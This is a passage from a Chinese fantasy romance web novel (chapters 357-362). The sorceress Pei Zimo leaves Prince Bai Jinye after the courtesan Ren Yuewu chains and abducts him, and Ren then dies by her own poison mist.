裴子墨在凌珞的房间里坐下,随手把《阴阳策》拿了出来,翻开细细地读了起来。 只不过读到某处的时候,她便觉得多少有些不太通顺。 她不是这本书的作者,自然没办法完全揣摩作者的意思,可是按照她对术法的理解,这一处绝对不应该是这样的。 不是那种单纯的晦涩难懂,而是这几个字连起来,根本没有任何意义。 裴子墨轻轻地敲着桌面,她活了几世,这文字确实一直在变化中,而且很多文字现在所代表的意思,和最开始代表的意思可能是完全不一样了。 会不会是当初沈易安看到的确实是古字,但是他嫌弃古字太麻烦,于是就把古字都对应成了现在的文字。 可是那古字的意思,和现在这个文字的意思,完全不相同,以致于让这几个字连在一起就变得很奇怪。 裴子墨皱起眉头,那这样一来,她想要看懂手上的两本书,就更难了,不仅要认出古字是什么,还要知道古字原本所代表的意思。 她轻轻叹了一口气,看向坐在房门口的寒羽,突然想到了那紫翅天鹏。 紫翅天鹏虽然不认识这书上的字,但是它知道那个石台上的阵法,也曾把那个阵法翻译给他们。 她可以先用那个阵法对照一下。 “寒羽,当时在紫翅天鹏的那个洞里,是你们中的谁拓下那个石台上的阵法的?拓下来的东西在哪呢?”问出这个问题的时候,裴子墨心中也有些担心,当时凌珞和寒羽都曾经跳进过水里,如果拓下来的东西在他们身上,就算没落入水里,恐怕也被泡的认不出文字了。 寒羽刚刚抓住一个游魂,正在跟手里的游魂较劲,听到裴子墨的问题,也就随口答道,“在白锦夜那。” 第357章 他家王爷这是气疯了 裴子墨闻言轻轻地叹了口气,拿出一张空白的符纸,写了个符咒,把符纸随手一扔,自己也跟着符纸往外走去。 张家的这个小院不在城中,但这符纸却一直往城中心飘去。 裴子墨不紧不慢地跟着它,最后在月舞楼门口停下了脚步。 她拧了拧眉,抬头看了看门上的匾额,才迈步走进去。 老鸨立刻应了上来,还是当初的那个老鸨,但显然她已经认不出裴子墨了,“哟,姑娘,这是来找人的吧?” 月舞楼这种地方当然不会有女人来,老鸨见得多了,自然知道大部分女人来都是为了找自家男人。 一般情况下,为了生意着想,她也不可能让这样的女人进门。 裴子墨看向老鸨,又向二楼看去,“我找张公子。” “张公子呀。”老鸨看着裴子墨的面容,仔细地回想了一下,她确认眼前的这位肯定不是张公子当初的那位夫人,既然不是张夫人来闹事,那就好办了,“不知道姑娘找张公子是什么事?张公子毕竟是我们这的贵客,也不好让人打扰,我可以先给姑娘通传一声,看看张公子是不是有空闲。” 裴子墨轻笑了一声,“好,你告诉他,有个姓裴的找他。” “姑娘稍等。”老鸨点点头,又朝旁边的示意了下,让他们看着裴子墨不要乱动,这才自己转身往楼上。 裴子墨看着她进了二楼的一间房,不多时便出来了,笑着朝裴子墨走过来,“姑娘请跟我来。” 老鸨说着就在前面带路,把裴子墨引到房间前,敲了敲门,又打开了门,里面的乐声和姑娘巧笑的声音立刻传了出来。 裴子墨微微皱了下眉,走了进去,老鸨在她的身后关上了门。 十几个乐姬舞姬各自忙活着,白锦夜坐在桌边,只穿着白色的中衣,领口微微敞开,任月舞坐在他旁边。 她进门的时候,任月舞正喂白锦夜喝了一杯酒。 白锦夜喝下嘴里的酒,才朝裴子墨看过来,“你找我有事?” 裴子墨蹙眉,“你昨晚没回府上,就是在这里?” “怎么?”白锦夜看着她,脸上的表情像是理所当然。 “没什么。”裴子墨顿了顿,才道,“当时在断崖那里,你从石台上拓下的东西,放在哪了,我要用。” 白锦夜似乎是想了会,半响回道,“烧了。” “烧了?”裴子墨有些诧异地看着他,当初她要自己拓一遍,是白锦夜阻止了她,说自己已经拓下来了,如今他说烧了? “是啊。”白锦夜点点头,“留着有什么用么?我这个人在你眼里都是没用的,我的东西难不成比我还重要?” 裴子墨盯着他半响,见他也不像是撒谎的模样,于是转身拉开房门就走了出去。 等她走了好半天,眼见着是不可能再回来了,任月舞才笑出声,“张公子,看来你这夫人对你确实不是很在意嘛。” 白锦夜冷眼看向任月舞,“你赶紧把人放了。” “你放心,我说过的话,肯定算数。”任月舞说着挥了挥手,几个舞姬七手八脚的把屏风后面已经昏迷的左辞拖了出来。 白锦夜扫了左辞一眼,才道,“你最好说话算数。” 任月舞笑了笑,抬手拉了拉白锦夜手脚上的铁链,“我劝你死了逃跑的心,这铁链可是我花了大代价得来的,任何有术法的人,被这铁链锁住,术法就都发挥不出来,除了我,也没人能打开这铁链。听说这铁链还能锁住魂魄,只要我不放开,就算你死了,魂魄也要一直被锁在我身边。” 白锦夜没有说话,他已经试过了,在他的梦里,这铁链也是锁在他身上的,他在梦里也没办法挣脱。 甚至于他现在也完全没办法把黄泉路引出来。 “大代价?”白锦夜轻轻皱了下眉头,“你是去过沈易安的老家了吧?” 那天晚上,任月舞也跟着他们到了树林里,说不定听到了沈易安说起老家的老和尚,如果她也去找了那个老和尚,以那老和尚的态度,但凡给些酒肉香火钱,给任月舞点好处也不是没有可能。 任月舞没有回答白锦夜的话,只是说,“看样子,你那夫人应该也不会再来找你了,她是你从外面带回来的,应该不是复州人吧?如果你给了她一封休书,她应该就会离开复州?” 白锦夜冷笑一声,“昨天还说不介意我有夫人,又说自己不会变成花惜那样,如今看来,也没什么区别。” 任月舞收起嘴角的笑容,起身拿了纸笔,放在白锦夜面前,“写,写了休书,正好让你这个下人带回去,你什么时候写完,我就什么时候放了他,不过你若是一直不写,我失去了耐心,可不愿意养一个闲人,反正啊,我也知道沈易安那些茶和酒是怎么酿的,这回我就用男人的血肉,看看味道有没有什么区别。” 白锦夜抬眼看了任月舞半响,才拿起笔,迅速的写下休书,往前一推。 任月舞扫了一眼,觉得不太满意,拉过白锦夜的手,又按了个手印,才折起来塞进了左辞的怀里,随即对着那几个舞姬道,“从后门把人送出去,送得远一点。” “是。”那几个舞姬抬着左辞出了门。 * 左辞醒来的时候,人是在城外,他迷糊了半天,才想起来他出门之后,再次路过月舞楼的时候,犹豫了下,决定走进去看看是怎么回事。 老鸨倒是很热情的招待了他,他上了楼,竟然不经意地从一个窗子看到了白锦夜的身影。 当时他气坏了,王爷跟王妃闹别扭,夜不归宿已经很过分了,竟然还跑到这种地方!于是当即就踹开了门,可随即就晕了过去了。 左辞怔了一下,赶紧检查一下自己,在月舞楼那种地方晕过去,他可太害怕了。 四下看了看,身上没有什么异常,但是却发现了怀里多出来的书信,他看着书信上大大的“休书”两个字,眼珠子都要掉出来了。 他得赶紧回去,他家王爷这怕不是气疯了! * 年底+新冠懈怠了~ 明天开始发粪涂墙,晚上九点之前更新~ 第358章 那我们就离开这 左辞赶回张府,想着这事如果让裴子墨知道,肯定是更生气了,于是便打算先去找张之极。 只不过张之极眼下恰好不在府里,左辞在院子转着圈圈,正想着办法的时候,眼尖的看到裴子墨从一旁走出来,他转身就要往外跑。 “左辞。”裴子墨却开口叫住了他。 左辞有些尴尬地停下脚步,转身看向裴子墨,“王妃,你有事找我?” 裴子墨本想着让左辞帮忙安排马车,她打算这一两天就启程了,可是看着左辞一脸心虚不敢抬头看她的模样,大概猜到什么,她抬手捋了捋袖口,“怎么,找到你家王爷了?” 左辞连连摆手,“还没有还没有,我这不是正着急呢么?” 裴子墨看着他没有说话。 左辞这一下被盯得更加心虚,下意识地往后退了一步,“那个,王妃,你要是没什么事,我就出去找王爷了。” 裴子墨笑了笑,“你家王爷,应该还在月舞楼。” “啊!”左辞诧异地看着裴子墨,“王……王妃,你都知道了?” 裴子墨没接话,只是说,“你帮我雇辆马车,带上车夫,车夫要送我们到鬼王沙漠。” 左辞心里一抖,如果王爷也跟着一起出发,他来赶马车就好了,根本不需要雇一辆马车还有车夫,他挠了挠头,才低声道,“王妃,这出发的事,王爷应该有安排吧?” “你按照我说的去安排就是了。”裴子墨轻轻皱了一下眉头。 左辞也没办法,想着只能先应下来,回头赶紧找到张之极,一起去看看白锦夜是怎么回事,否则他这会若是不答应,回头裴子墨自己去雇了马车,就更不好办了,正要点头,便见到有张府的下人急匆匆的跑过来。 “少夫人,左大人,不好了。” 左辞皱眉看过去,“怎么了?喘口气慢慢说。” 那下人一脸着急,哪还有喘口气的时间?“老爷……老爷去月舞楼,跟月舞楼的人起了冲突,老爷怒气上来,就要砸了月舞楼,却被月舞楼的人推倒,头撞到桌角,昏迷了,这会正往医馆送呢。” 左辞这下知道,事情肯定是瞒不过去了,他哭丧着脸看向裴子墨,“王妃,王爷确实在月舞楼,估摸着张老将军也是知道了才会过去。但是这里面一定有什么隐情,王爷绝不是会去那种地方寻欢作乐的人……” “你还是先去医馆看看张老将军吧,雇马车的事,稍后我自己去找把。”裴子墨打断左辞的话,说完便往回走。 “王妃,王妃。”左辞赶紧跟上去,“你要相信王爷啊,以前在军中的时候,王爷都不准军里出现军妓,现在更不可能……而且退一步,不说这个,王爷也不可能看着有人对张老将军动手无动于衷……” “那也是你们家的事,跟我没关系了。”裴子墨脚步也没停。 左辞又跟了几步,见裴子墨确实是不打算管了,没办法,只能先跟着下人去医馆。 张之极受伤,又涉及到找白锦夜的事,左辞立刻找人通知了司空,司空当即调兵包围了月舞楼。 任月舞把窗子打开一条缝隙,朝外面看了看,才转头看向站在一边唯唯诺诺的老鸨,“成事不足败事有余的东西,让你们把张之极打发了,现在闹出这么大事来,这要怎么收场?” “月舞姑娘,我们也没想闹成这样,可是那张之极吵吵闹闹的不肯走,影响咱们生意和客人不说,还要砸店,也不过就是让人把他送出去,谁知道他就跌倒了,又那么不小心地磕到了头?”老鸨低声道,“不过他来闹事,始终是他理亏,就算到了官府,咱们……咱们也不怕什么。” 任月舞没理会老鸨,而是转头看了一眼被她迷晕的白锦夜。 她因为昨晚看到白锦夜跟他的夫人吵架,也是为了让他夫人死心,所以才会让他们再见一次,可是张之极不同,他到底是白锦夜的长辈,如果她拿着对付左辞那套对付张之极,张之极也不会死心,醒了之后肯定还会再来闹事。 她只能避免让张之极见到白锦夜,所以一听说张之极进门,她就赶紧把白锦夜给迷晕了。 老鸨没听见任月舞说话,便顺着她的目光看过去,“月舞姑娘,恕我直言,只要生米煮成熟饭……” “你懂什么?”任月舞一甩袖袍,“你只知道把姑娘往客人床上送,你以为男人也像那些姑娘一样,一次两次的就接受了不反抗了么?他如果不是心甘情愿跟我在一起,我只会变成下一个花惜,没名没分,还要搭上自己的一辈子,我要的,是清清白白进门,堂堂正正的做张家夫人。” 老鸨微微摇了摇头,也只能问,“那这如今可怎么办是好?” “这些人还围在外面,没有动手,证明在等张之极那边的情况,只要张之极没事,估计他们也不会来硬的。”任月舞说着走到桌边,写了一道符咒,又从怀里拿出一个药瓶,倒出一粒药,用符咒把药丸包好,递给老鸨,“你找人把这药送出去,不要打开外面这张纸,一起泡进水里,喂张之极喝下,能保他现在没事。” 老鸨接过药,“是。” 等老鸨离开,任月舞才走到床边坐下,抬手轻轻地摸着白锦夜的脸,“看样子,这复州是不能待了,那我们就离开这,去一个没有人可以打扰我们的地方。” * 医馆的大夫怎么都没办法帮张之极止血,眼见着他的脸色是越来越白,正束手无策准备让张府的人另请高明之时,医徒手里拿着一个小纸包从后门走进来,低声在他耳边耳语了几句。 听说是月舞姑娘送来的药,他没有丝毫犹豫,当即就按照任月舞的交代,把纸包整个放进水里,那纸和药丸遇水则融,一碗清水瞬间变成了红色,大夫和医徒两个人赶紧给张之极服下了。 吃了药之后,张之极伤口的血很快就止住,脸色也逐渐好转,不过一盏茶的时间,就醒了过来。 他睁开眼睛的第一句话便是怒骂,“这个小畜生!” 第359章 休书 左辞在外间便听到内堂里张之极这中气十足的声音,悬着的心总算是放了下来。 能这么大声的骂人,看样子是没什么事了。 大夫也从内堂里走了出来,“张老将军的伤口已经包扎好,人也醒了过来,暂时是没事了,我再给开张补血的方子,回去一定要静养,千万不要再动怒了。” 他的话音落下,张之极也走了出来。 左辞微微有些诧异地看着张之极,他刚才也看了眼他的伤势,那伤口不小,也流了不少血,这大夫这般妙手回春么?“张老将军,你没事了吧?还有没有哪里不舒服?” 张之极抬手轻轻按了按包扎伤口的纱布,“头倒是还有点疼,不过没有大碍。”说着就要往外走,“我要去把那小兔子崽子抓回去。” 左辞赶紧放了银票在桌上,让人在这等着拿药,自己迅速的追了上去,“我已经让司空带人过去了,肯定把王爷带回府上,张老将军你还是先回家养伤吧。” “不行。”张之极摆了摆手,“张家就没有这样的规矩,敢招妓,看我不打死他!”他说着顿了顿,转头看向左辞,有点窘迫的低声问道,“那个……我那外孙媳妇儿还不知道吧?” 左辞哭着脸,“王妃已经知道了。”他说着想起什么,“而且王妃现在正要雇马车走人了,要不这样,我先送你回去,你拦住王妃别让她走,我和司空把王爷带回去?” 张之极脸色难看,半响也只能叹了口气,左辞他们到底是下人,裴子墨要是执意要走,他们也没法拦,看样子确实只能他拉下这张老脸去拦了。 左辞把张之极送回王府,却不见裴子墨,一问才知道她片刻之前出了门,不过好在只有她一个人出门,“张老将军,王妃要走,肯定会带上凌珞的,你也别到处跑,这样你去守着凌珞。”他说着把张之极扶到了凌珞的房间,“你就在这歇着,我出去找人。” 张之极有些无奈地闭着眼睛靠在榻上,以前白锦夜从不让他操心,怎么就在这婚事上,没个顺心的时候呢。 左辞出了门,让寒羽在这好好守着,又吩咐他如果裴子墨回来,一定想办法让裴子墨先不要走,随后又找了张府的管家,让他时刻注意下张之极的情况。 他总觉得哪里有些不太对,明明伤得那么重,怎么就像是个没事人一样了? 左辞回到月舞楼,却见那边月舞楼报了官,如今复州府丞正和司空对峙,他和司空商量下,眼下也没时间再耽搁,便着人拉开了府丞,硬闯进了月舞楼。 可是他们把月舞楼翻了个底朝天,也没见到白锦夜。 任月舞站在府丞身边,哭哭啼啼的控诉,说她们打开门做生意,谁愿意来她们也不能赶人,那张公子来这里也是张公子自己来的,如今人已经走了,去了哪她们也不知道。可是张之极先来闹事,左辞和司空又带兵来围住月舞楼,是不是见她们姑娘家家的好欺负,让府丞为她们做主。 府丞哪受得了这个,当即答应了下来,承诺一定会给她们一个说法。 没找到人,左辞和司空也没办法,只好先撤了兵。 府丞跟着他们一起到了张府,说是要找张之极了解情况。 走到门口的时候,刚好碰见裴子墨回来,左辞便赶紧走过去,“王妃,你回来了。” 裴子墨扫了他一眼,“嗯,我去雇了马车,明早启程,正要找你说寒羽的事。” “王妃,张老将军受了伤,王爷这时候又不知道去哪了,府上总得有个管事的,你先别走了。”左辞低声央求道。 “张老将军受了伤,你们王爷自己都不管,我管什么?”裴子墨说着顿了顿,“我也有自己的事要办,没时间在这耽搁。” 府丞那边也出声催促,“快点带本官去见张老将军,张老将军告老还乡,已没有官职在身,要本官在此等候成何体统?本官敬他一尺,他就真不把本官放在眼里了么?” “你催什么催?那月舞楼明明有问题,不知道你被灌了什么迷魂汤一直维护她们。”左辞心烦得不行,抬手摸出肃亲王的令牌,“你一个小小的府丞,见到我们王妃还在这大呼小叫,再废话治你个不敬之罪!” 他掏令牌的时候,却没注意,怀里的纸也跟着轻飘飘的落下来,纸掉在地上,虽然没有完全展开,可是“休书”两个字却露在了外面。 裴子墨低头瞥了一眼。 左辞赶紧弯腰捡起来,塞回怀里,故作镇定地道,“司空,你先带着府丞去堂上坐一会,我去看看张老将军的伤怎么样了。” 府丞有些诧异地看着裴子墨,白锦夜被正名的事,他也早就听说了,莫不是……他们找的这张公子其实是肃亲王? 这个念头一冒出来,府丞额上不由渗出了一丝丝汗,他赶紧先给裴子墨见礼。 裴子墨也没理他,迈步进了院子。 只不过她刚回了房间没多久,就听到外面左辞杀猪般的叫声,“王妃,王妃,你快来看看张老将军,他好像没气儿了。” 裴子墨拧着眉出了门,跟着左辞往凌珞的房间走,“把你怀里的休书给我看看。” 左辞赶紧护住胸口,“王妃你看错了,没什么休书。” “那你就去外面请大夫吧。”裴子墨停下脚步。 左辞满脸的天人交战,最后才慢慢地掏出休书递了过去。 裴子墨展开休书看了一眼,第一行是“裴氏”,落款是张璟成,她微微拧了下眉,又问,“你家王爷的印章在你身上?” 左辞苦笑着不说话。 裴子墨伸出手。 半响后左辞才默默地把印章递了过去。 裴子墨在休书上盖了白锦夜的印章,收好了休书才道,“其实我跟你家王爷本身也没关系,你家王爷三书六礼下的是裴玲珑,虽然后来承认了裴清歌是王妃,但是……那是裴清歌也不是我。这休书只是怕你们王爷以后不认账而已。”她说着顿了顿,“我还是听你叫我师父顺耳一点。” 第360章 以前当你是个人 左辞也不知道该说什么,只能默默地跟在裴子墨身边。 裴子墨查看了张之极的情况,他伤得不轻,对方是用术法帮他吊命,她眯了眯眼,写了张方子让人去抓药,重新包扎好张之极的伤口,然后给张之极施针。 左辞站在一边看着裴子墨一针一针的落下来,最后一针扎在了喉咙上,随即张之极一张嘴,吐出一大口污血,之后人也开始有了微弱的气息。 “之前是谁救治的张老将军,你去问问他,给张老将军吃了什么,那东西是谁给他的。”裴子墨开口道,“这复州城,沈易安留下的祸根恐怕还在延续,那些喝过他泡了人肉的酒和茶的人,可能还在帮月舞楼做事。” 左辞点点头。 裴子墨洗了洗手,转身往外走,“张老将军没事了,这几日静养,隔一日换一次伤口的纱布,按照我开的方子,吃上七天就可以了。” “我要带着凌珞走,寒羽估摸着是要跟着你,但是他毕竟是修罗,即便现在看起来和常人无异,可也终有兽性的一面,他虽然不会伤害你,但难保不会伤害别人,你要多留心些,逐渐引导。” “王妃,你能不能先别走,王爷……”左辞有些为难,“如果那月舞楼还有问题,王爷……王爷会不会是着了道?” 裴子墨垂下眼,没说话。 左辞又劝说了半响,见裴子墨一点反应都没有,只好先作罢,跟着司空一起加大人手去找白锦夜了。 府丞那边也知道这事牵扯上了白锦夜,这下不敢怠慢,也派了人跟着一起找。 找了一宿也不见踪影,想到裴子墨今天要走,左辞又赶紧赶回张府,到门口的时候,就见到寒羽正背着凌珞上马车。 他刚走过去,寒羽就拦住了他,有些不好意思地道,“我想了想,我想跟他们一起走。” “走什么走?”左辞拉着他的胳膊压低了声音,“不能走。” 寒羽抿了抿唇,继续道,“我的能力已经很久没增长了,上次在琼华山下吃了那个魂魄之后,长了一些,最近吃游魂,又长了一些,我想跟着他们。而且裴子墨说她还要去那断崖下面一趟,我也想再去看看紫翅天鹏。” “你得跟我一起拦着他们不能走。”左辞说完赶紧上前拦住裴子墨,“王妃,我们一直在找王爷,可是到现在还没找到,也不知道王爷是不是出了什么事,要不等找到王爷你再走吧。” 裴子墨没理他,只是看向寒羽,“快点上马车,不然不带你了。” 寒羽看了看裴子墨,又看了看左辞,犹豫了下才道,“等我有时间就回来看你。”说完像是生怕裴子墨不带他一样,赶紧上了马车。 裴子墨也上了马车,车帘放下之前,看向左辞,“你家王爷已经被带出城,往南走了,这会已经走出去百八十里了,你想追,便看能不能追上吧。” “王爷被带出城了?”左辞震惊地看着裴子墨,“王妃你早就知道了?” 裴子墨没有回答,只是说,“带他走的人,多少也会些术法,你可以去求助和月薇,你就说你家王爷身上,有和月薇要的东西,她自然会帮忙。” “王妃,既然对方会术法,不正是撞在你手里了么?你跟我们一起去不好么?”左辞立刻道。 裴子墨垂下眼,“那人术法不高,和月薇对付她绰绰有余,我不能一直在你家王爷身边看着他,就到这吧,以后各自走各自的路。”说完她放下车帘。 “王妃,那你去哪啊?那等我们找到了王爷,我们去哪找你啊?”左辞又赶紧问。 半响后,裴子墨才轻声道,“别找我了。”说完便对着车夫道,“出发吧。” 左辞追着马车跑了几步,见到寒羽掀开窗帘看了看他,对他摆了摆手,无奈地停下脚步,便赶紧去找司空,出城往南追白锦夜。 * 白锦夜坐在马车之中,冷眼看着穿着极为清凉任月舞慢慢地剥着手里带的葡萄。 任月舞抬眼看向白锦夜,“还记得张公子第一次见我的时候,我只是露出手臂,张公子都不多看一眼,如今怎么都看得眼睛发直了?” “那时候当你是个人,所以非礼勿视,现在你在我眼里,跟一块猪肉没什么区别。”白锦夜冷声道。 任月舞也不生气,“你现在这样想,但是对着我十年八年呢?” “十年八年?我怕你活不到那时候。”白锦夜冷哼一声,朝车窗外看去。 “咱们已经走了这么远,根本没有人追来,等他们再想找你的时候,恐怕也找不到了。”任月舞说着顿了顿,“约摸着再走三天,我们就到码头了,我听说,在南边有不少的海岛,到时候随便找一个海岛,大海茫茫,没人找得到我们。” 白锦夜微微眯了眯眼,没有说话。 任月舞慢条斯理的把葡萄放进嘴里,却突然听到外面杂乱的马蹄声,随即他们的马车急急地停了下来。 她伸手扶了下才没有狼狈地摔倒,稳住了身形便忍不住怒骂,“会不会赶马车?钱给少了么?” 还没等车夫说话,左辞的声音就传了过来,“任月舞,出来露个面吧。” 白锦夜轻笑了一声,有些戏谑地看向任月舞。 任月舞眯了眯眼,拽过外套披在身上,“别以为有人能带走你,这些人送上门就是找死。”她说着掀开车帘,“哪个不知死活的在挡路?” “我还以为你要继续哭哭啼啼呢。”左辞瞥着任月舞。 “哭哭啼啼的事,就留给你吧。”说完任月舞抬起手,一道符纸朝左辞飞过来。 左辞也没躲,他旁边便伸出一只手,随手就拦下了符纸。 和月薇把符纸捏在手里看了眼,嗤笑了一声,“就这种东西还好意思拿出来用,真是够丢人的。”她说着看向任月舞,“你要是只会这个,就赶紧滚,我可不想跟你这种上不了台面的人动手。” 说完,她朝马车里看了看,“早就听说肃亲王的大名,只是没想到第一次见面是这样的情况啊。” 白锦夜蓦地皱起眉头,他以为会是裴子墨,怎么是和月薇? 第361章 自作孽 任月舞闻言有些诧异地转头看向白锦夜,“你……你是肃亲王?” 白锦夜瞥了她一眼没有说话。 这一下任月舞不敢轻举妄动了,他是肃亲王,那这些人肯定不会轻易让自己带走他,况且那个人如此容易地接下自己的符纸,她自然也不是对手。 但她都已经带着白锦夜到了这,若是放白锦夜走,她又不甘心,况且她做了这样的事,估计白锦夜也不会放过她。 既然已经这样,那就不如博一下。 她眯了眯眼,转头向外面看去,故意提高了声音,“王爷可真是艳福不浅,先后两位夫人,如今又有美人为了王爷追到这,那我……” 她一边说着话,手也在袖口摸着,只是东西还没拿出来,就见和月薇一扬马鞭,鞭子卷住了任月舞的手腕,直接把她从马车上拽下来。 任月舞跌倒在地上,手里的东西也从袖口里掉落下来碎了,黑气顿时散开来。 又恰好有风吹来,这黑气直接包围了马车。 任月舞下意识的捂住口鼻阻挡,可又怎么可能挡得住,片刻后人就没了一点气息。 车夫也从马车上跌下来倒在地上,眼一翻死了,就连拉车的两匹快马也没能幸免。 左辞自然知道这黑气不是好东西,可是他家王爷还在马车里啊! 他当即就想冲过去,却被和月薇拉住,她拧了拧眉,“来不及了,你去了也只是搭上自己的命。” “放开!”左辞哪管得了这个,如果他家王爷要死,那他也得跟他家王爷死在一起。 “我没事,别过来,别碰到这黑气。”马车里很快便传来白锦夜的声音,随即他也从马车里出来,下了马车,瞥了倒在地上任月舞一眼,她这也算是自作孽了。 黑气环绕在马车周围,虽然逐渐在变得淡薄,但还没有散去。 就连白锦夜的身上也萦绕了些黑气,他走远了些,等着黑气散去。 这黑气他之前在沈易安那就见过,也知道这东西和空气相克,所以没什么可急的。 和月薇有些诧异地看着白锦夜,这死气活人沾之即死,白锦夜在马车中间,受死气包围,可他竟然一点事都没有。 她轻轻皱起眉头,这种事,她闻所未闻,看样子这肃亲王的身上,也有些秘密呢。 这死气差不多一盏茶的时间才全部散去,虽然肉眼不可见了,但是为了安全起见,也还是再等了半响。 见确实没事了,左辞才走到白锦夜的身边,看到他手脚上的铁链,脸色有些古怪,大概是想笑,但是在很认真的憋着,“这钥匙应该在任月舞的身上吧?”他说着转身走到任月舞旁边,翻了半响,除了翻到些符咒和小来小去的东西,根本没有钥匙。 不过和月薇倒是看出点门道,她也下马走到了白锦夜的旁边,抬手拿起铁链看了会,“没想到这人术法不怎么样,倒是有点好东西。”她说着顿了顿,“估摸着是背后有什么高人,如今人死了,这账可别算在我头上。” “这怎么办?”左辞拿着剑想要砍断,但是砍了几下,也没有一点反应。 不过这铁链跟和月薇没关系,她也不想多管,“你说的,只要我找到你们王爷,把他救出来,我要的东西你们就会给我。” 左辞挠了挠头,拉着白锦夜往旁边走了几步,把裴子墨之前说的话跟他说了一遍。 白锦夜皱起眉头,隔了会才看向和月薇,“你要的东西我没有,但是我可以告诉你一些你查不到的事情。” 和月薇脸上多少带了些不快,顿了会才道,“你先说来听听。” 白锦夜示意左辞先去处理任月舞,带着和月薇往旁边走了几步,把关于裴姝和和月如的事情大概跟她说了一遍。 这些确实不是和月薇能查到的,她也消化了好半天,才把事情的前前后后都想通。 她跟和月如的目的都差不多,一来是找紫莲戒,二来是为了控制东凉国的皇上。 她一直都没有紫莲戒的消息,但如今在东凉国倒是地位不低,东凉国皇上对她极好,她说什么做什么也都由着她。 尤其是这一次,她说挂念姐姐,他也同意让她乔装来天风国姐妹团聚。 只不过她到了才知道,和月如已经死了,她也是打探下得知张太妃的情况,听说有人治好了张太妃,便想来复州看看。 到了复州,又听说了沈易安的事,她给自己起卦,卦象显示她在复州有所得,而这有所得的指向便是沈易安的宅院。 她想着沈易安会些术法,说不定会有什么好东西。 她微微拧了下眉头,转头看向被左辞他们抬走的任月舞,她当然知道这任月舞以前是跟着沈易安的,难道沈易安的东西,是被任月舞拿走了? 她又看了眼白锦夜手脚上的铁链…… 或者卦象上说她会有所得,并不是会得到什么宝贝,而是得知裴姝与和月如的消息。 说实话,她与裴姝也好,和月如也好,根本没有什么感情,只不过互相利用而已,如今裴姝不再是西夜国皇后的事情,还没有传到东凉国,而她在东凉国的地位,是她唯一的保障了。 她现在已经在复州一带耽搁了不少时间,眼下还是要尽快回去了。 沉思了半响,她抬眼看向白锦夜,“你这铁链我无能为力,今日之事,便算是扯平了,后会有期。”说完她也没有停留,招呼上自己的婢女,就先骑马离开了。 等和月薇走远了,没了外人,左辞才重新回到白锦夜的身边,“王爷,那王妃那边怎么办啊?”他说着感觉白锦夜迟早都会知道,便主动交代了裴子墨跟他要了白锦夜的印章,自己在休书上盖了印章的事。 本以为白锦夜多少会生气,只不过他听了也没什么反应,只是说,“与休书无关。”顿了顿才又问,“你说他们要先去那个断崖?” 他不在,凌珞也没醒过来,裴子墨就算到了那个断崖又要怎么下去呢? 白锦夜皱了下眉头,看了看手脚上的铁链,任月舞没认出来凌迟刀,只是不想让他身上有利器,所以把凌迟刀扔在了沈府,只能希望那凌迟刀能斩断这铁链了,“咱们先回复州。” 第362章 一只手就捏死了 寒羽虽然决定跟裴子墨走,但是想到很长时间见不到左辞,心里多少还是有些不开心。 他憋了好几天,终于还是忍不住问出口,“为什么我们不能带上左辞他们呢?” 裴子墨看着他,轻轻叹了口气,好半天才问,“左辞的能力在你眼里怎么样?” 寒羽立刻摇了摇头,“一只手就捏死了。” 裴子墨又问,“他的能力这么低,如果遇到危险,你是不是就要保护他?” 寒羽点头。 “但是如果你遇到的敌人特别厉害,你可能根本打不过呢?”裴子墨看着他。 寒羽轻轻皱起眉头,隔了会低下头,看着自己的脚尖,没有说话。 裴子墨也就没有再说下去,转头看向马车外面。 半响后,寒羽才突然出声,“如果是我遇到了危险,那我希望左辞不要跟我在一起。可如果是左辞遇到了危险,我希望我能帮他,哪怕我也打不过,可我还是希望我能帮他。” “那你换位想一下,是不是如果左辞遇到危险,他也是不希望你跟他一起陷入危险?”裴子墨没想到这么半天,寒羽还在纠结这个问题。 寒羽拧着眉,“你们人可真复杂,我们修罗就不会,我们有危险都是一起往上冲的。” 裴子墨笑了笑,叹了口气,“寒羽,你以后会明白的,有时候一起往危险上冲的修罗,也不是自愿的。” 寒羽还想说什么,可是突然想起自己被修罗王控制的时候,嘴边的话就咽了回去。 而且想起修罗王,他就更不开心了,“我是不是再也不能回地府了?” 裴子墨没有办法回答这个问题,眼前的情况是,只要修罗王在,寒羽在他眼里就是背叛他的人,基本上是不可能回去了,除非……修罗王不在了,寒羽作为修罗王唯一的血脉,有可能回去继承修罗王的位置。 但是以寒羽现在的心性,估计也很难坐稳。 毕竟在修罗一族,还是靠最原始的办法统治,做修罗王那地位和所享受的一切都是最好的,不是修罗王,就要永远被控制,被打压。 她也只好转移话题,“对了,好像没有听你提起过你娘。” 寒羽眨巴了下眼睛,最后摇了摇头,“我不记得了。” 这个话题也进行不下去了,裴子墨也就没再说话。 那个老和尚给她的感觉很奇怪,若是术法那么高,不可能不被遁世岛盯上。 要么他是连遁世岛都忌惮的存在,要么他跟遁世岛达成了什么协议,或者,他可能就是遁世岛的人。 这件事裴子墨这几天想了很久,却怎么都想不通。 但是那老和尚一定也看出什么来了。 那老和尚指点他们去血域,这一路路途遥远,而且血域那边的情况也不清楚,本来这路上就可能有危险,甚至于就算到了老和尚说的那个地方,那里现在是怎么样的,也没人知道,她确实不希望太多的人跟她一起去冒险。 白锦夜那边的事,她当然看出任月舞有问题。 不过也刚好借任月舞牵绊住白锦夜的时候,她带着凌珞一起离开。 马车里沉默了会,寒羽突然想起什么,“你的意思,是我们这一趟有危险?那你还带着我?” 裴子墨笑着看他,这家伙果然是反应迟钝,“你放心吧,只要我不跟白锦夜在一起,有时候可能就不会有什么危险。” 寒羽不太明白裴子墨的话,他疑惑地看了看裴子墨,又道,“那我们先去看紫翅天鹏么?” “不去。”裴子墨摇了摇头,“紫翅天鹏吃了那个丹药,没个十年八年的消化不了药力,它暂时都不可能出来,我们也没办法下到悬崖下面,我们直接去老和尚说的地方。” 寒羽眨了眨眼,“可你跟我说,要去找紫翅天鹏的。” 裴子墨笑了笑,她当然知道她说的话,寒羽会告诉左辞,如果左辞追上了白锦夜,他们来追他们,就可能会先去北冥国的断崖,但是那时候他们早就进了血域了。 白锦夜不知道去血域的路,也就没办法再找她了。 裴子墨轻轻叹了口气,只是说,“寒羽,你放心,若是我们真的遇到了危险,到了迫不得已的时候,我会想办法送你回地府。只不过你如果一个人回了地府,就要多小心了。你可以先不回炼魂谷,留在地府里养精蓄锐,找到合适的时机再回去。总之……希望那样的事情不会发生吧。” 寒羽抿了抿唇,看了看裴子墨,又看了看躺着的凌珞,最终没有再说什么。 * 白锦夜在沈府找到了凌迟刀,但是这凌迟刀也一样没办法砍断铁链。 